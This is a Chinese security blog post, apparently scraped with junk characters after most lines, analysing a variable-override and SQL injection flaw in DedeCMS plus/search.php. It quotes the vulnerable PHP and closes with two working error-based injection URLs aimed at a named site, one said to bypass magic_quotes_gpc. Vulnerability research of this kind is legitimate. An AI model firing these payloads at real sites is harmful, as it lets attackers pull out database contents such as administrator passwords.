微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.& D* L, S; y; h
作者: c4rp3nt3r@0x50sec.org, x/ Q; q( u8 }/ X
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
/ H" \0 ~" [: Z3 Q- m: U8 J 5 k, u$ P$ i% C$ Z& O- B2 ~1 |; g
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
& k% K; g! V; Z7 ^) v 2 D/ v/ N! ]4 }$ Q) z7 g. m( s
============9 r4 r J T2 y: R$ Y$ G' X- l
! E6 U+ O$ V5 {, f) j! L . X. ?" `5 Y, T8 z7 U
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
. T5 ^, Y7 a0 T" l5 r7 J
! M- [6 o7 f# a4 Lrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
. d2 @, x- j/ u: @) x0 k/ Brequire_once(DEDEINC.”/arc.searchview.class.php”);
, y% ~2 W" O! S) E
9 ?) e8 d j- r+ q2 ^6 q8 J3 b$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
+ X) S# [$ z% X7 k$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
5 Z) T8 p0 a7 }# P0 z- Z/ Q4 D$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;, Q/ f; ]7 F. R$ o( T+ p
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
" ^' t5 v) e. f$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;* u) w" `% U. K+ z2 I; w3 d1 t+ @
: |( k( Z- X! v8 G# }. s/ @
if(!isset($orderby)) $orderby=”;
+ y1 [; ?. B' k, {9 }else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);' B1 z( H/ m. d6 N
7 Z$ X% ]; j% F( G) [/ Y0 } ( n# |; S" U2 G5 K4 m r- O. g, ]
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;" |% a7 i% f, h
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);9 Q; U% j8 t+ C! W
2 l/ P1 [8 D( a7 n ^$ i0 o. Oif(!isset($keyword)){
' n* @ f1 k7 |2 j! {4 ^8 I if(!isset($q)) $q = ”;) k, i, h( [! _* f
$keyword=$q;
1 Q3 q# y6 ?! Q/ V6 |6 h}' j8 f9 V( g8 F+ q1 K; G3 t1 }, u$ x
7 j2 g3 R D7 Q0 ^$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));' ^8 ]( E$ h% s X0 y+ f" d
7 i- |+ x% P# v3 u//查找栏目信息
, d, C" I% E sif(empty($typeid))8 W' B) n4 u4 j7 s6 J# ^
{9 e6 H' N, Y; {+ x4 r# k+ X5 T
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
! ]* q5 Q& f- A/ Q if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
2 ~ U: T& r- C( i- T {
( u7 O C7 j' y" G) o- d+ b, @ $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
" j- Z2 ?3 c/ o4 r( K- p- E1 ~ fwrite($fp, “<”.”?php\r\n”);
" p' N. {& V3 ~, Z1 u $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
+ V& Y% k# F- z* b( |% t $dsql->Execute();
8 ?9 I2 ^9 j$ l" o while($row = $dsql->GetArray())! B; `6 y4 M$ W: v/ q/ W+ n
{
, N+ A: M1 o, j) T: Z R fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
4 \# f l4 V" Q1 e) G* t }
7 D; ]0 t& r0 \* p5 j fwrite($fp, ‘?’.'>’);
# c/ m5 {& a9 I0 p0 f# H fclose($fp);3 i$ N3 v, X7 h! h
}
& Q* `9 M5 v9 r: y& ^ //引入栏目缓存并看关键字是否有相关栏目内容
# v/ X0 x9 s" d2 U require_once($typenameCacheFile);
; |9 t8 V3 b% G- I' B//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
0 ~6 |/ W" ]: z! Q, _# m//! @8 |4 G8 X6 J+ {& o
if(isset($typeArr) && is_array($typeArr))" u2 m) u8 ^3 M8 D, F2 r X
{ t: L* h+ |% `
foreach($typeArr as $id=>$typename)
% Z# v i/ ?% `. D, q0 j# w {* Y# \9 d L* Y4 G! Y6 ^
+ J6 _3 w0 a! V3 c4 X: O1 |5 ^ <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
: j* H6 P; d; I0 z& G$ Q4 c& i if($keyword != $keywordn); ~4 z- Y, _9 S7 P% ~3 C( k7 y7 q& k
{
: A' u! Q# q M4 ?/ [5 U $keyword = $keywordn;
0 F0 W) e- S# @6 L+ \) K <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
* f) Y& H. U7 E/ B break;
6 Q& D- ], ~) Z6 m }
2 ]8 \9 l9 H! C" B3 _( p }
a2 F8 u0 R# s/ t* v } y' f5 b7 y* n, J1 q2 Y O
}" S Z* A7 f9 ~" R5 r+ i) A) j
然后plus/search.php文件下面定义了一个 Search类的对象 .& L G- i/ }2 q1 O. ~1 [* S- W1 @
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
% ^9 h" j7 q* I, C! t4 A$this->TypeLink = new TypeLink($typeid);
% k/ e% E4 k0 _+ ` T! J $ k1 B. E% _7 ^5 @6 F" {
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句./ m) A! H( o! G5 l. H( I8 o
' b; B, q0 A/ S6 R4 j
class TypeLink7 E3 y' K& @4 Y8 q/ f
{- E7 U' f* F) p A
var $typeDir;8 M) ?( ~9 I0 i2 d& N
var $dsql;+ G4 }5 q8 g" ]1 u0 R$ @5 m% y
var $TypeID;5 M$ r" ]" R! o8 a
var $baseDir;9 O; |; p! H( s0 H( L/ d' `
var $modDir;
. A! V( {* c- f7 ? var $indexUrl;7 S7 E4 |. g5 ]5 O' V
var $indexName;
% c l* @9 A' N var $TypeInfos;! O% A# `0 N+ u/ F& S$ ], ^7 E4 A
var $SplitSymbol;& ^6 Z2 J3 t- W7 P$ L+ W5 h& W
var $valuePosition;
! R9 K! I; }3 j0 l1 F var $valuePositionName;
9 C E" l" m! z9 b8 h$ S1 M var $OptionArrayList;//构造函数///////, {( t3 F) L0 t
//php5构造函数2 B) o) m5 k4 z( Y5 [
function __construct($typeid)
# o3 W6 |* I. A5 g4 X {- z& h8 a! |) U4 b* g
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];) L' z. |/ x1 ^/ S, O
$this->indexName = $GLOBALS['cfg_indexname'];
7 ?( e4 K2 Y" Q $this->baseDir = $GLOBALS['cfg_basedir'];5 P" Y- v9 Z0 X) C# x% E
$this->modDir = $GLOBALS['cfg_templets_dir'];
e- H+ j3 m; Z V, A $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
8 u' {% x+ T4 A$ Y* ^9 l $this->dsql = $GLOBALS['dsql'];
. K' l, e: O0 r% G2 [ $this->TypeID = $typeid;; y2 H" y. f2 ?' M% S0 t( o
$this->valuePosition = ”;2 Q4 n0 r8 p0 q6 y, J! c" x* e
$this->valuePositionName = ”;) m& Y3 ]0 d8 O+ H" m
$this->typeDir = ”;
5 k2 ~3 c: I) k' I2 j $this->OptionArrayList = ”;
0 _- `2 \" x3 e6 b# a# w5 }! ?
& D) e+ _3 G. N! @4 j1 o0 L' l; l //载入类目信息( G T0 l2 }( ]+ }/ p/ d c1 B9 Z
' ]0 d8 H1 F3 y. [2 l <font color=”Red”>$query = “SELECT tp.*,ch.typename as% | i4 g+ I: O! Q5 x2 F/ i L
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join" S* u* F; U& B: [& V' X
`#@__channeltype` ch
! l( E0 g6 i$ q; F on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿8 t Q5 I7 F* L+ t6 Q
# L0 ~# G' f2 K0 T if($typeid > 0)" J1 n" Y* Z! b. t! b- X- X0 `
{
3 f' e( q$ A# i4 H( r $this->TypeInfos = $this->dsql->GetOne($query);
/ L7 c. R4 @9 V0 ]利用代码一 需要 即使magic_quotes_gpc = Off
7 b+ ?4 `. ~' b8 v ! ^; n5 \3 k7 j p7 H% P" D7 g7 z5 V
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title( e* z, P. b4 v& ~* _- q
* P* ^( B* z5 S. @这只是其中一个利用代码… Search 类的构造函数再往下0 b& \0 o, l- Z6 H' V: y8 b
, n0 E% y8 S0 W
……省略% \( v7 Y* d' r
$this->TypeID = $typeid;8 g0 x- N' s/ H6 B. {
……省略' G9 S& Q% d9 c1 ^/ W/ d
if($this->TypeID==”0″){$ K' U5 G3 [4 K
$this->ChannelTypeid=1;. v v3 J# V+ l0 a' m0 R
}else{3 V, i! |. f9 l
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
! j" r) j% h. L0 N' ~//现在不鸡肋了吧亲…+ |# ^5 \" h( J! Y* p; E4 M- z
$this->ChannelTypeid=$row['channeltype'];
8 K# K1 @: X) k' M, Z& _( f" X 0 d; n0 \: ]1 _) E1 q
}
/ [& o! K0 K) j4 E2 w& K0 Z2 \1 ]0 y& \利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
& H- a3 h% S. A4 c# r- o1 S- V7 ?5 i
K* `& D( n% c0 y& }' Uwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title* \8 ^$ K: S2 a+ F" g" S/ U
7 |7 Y8 t* j; i9 q1 `" P0 x+ w0 \
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站# r3 u% s- d7 T2 ~9 R
|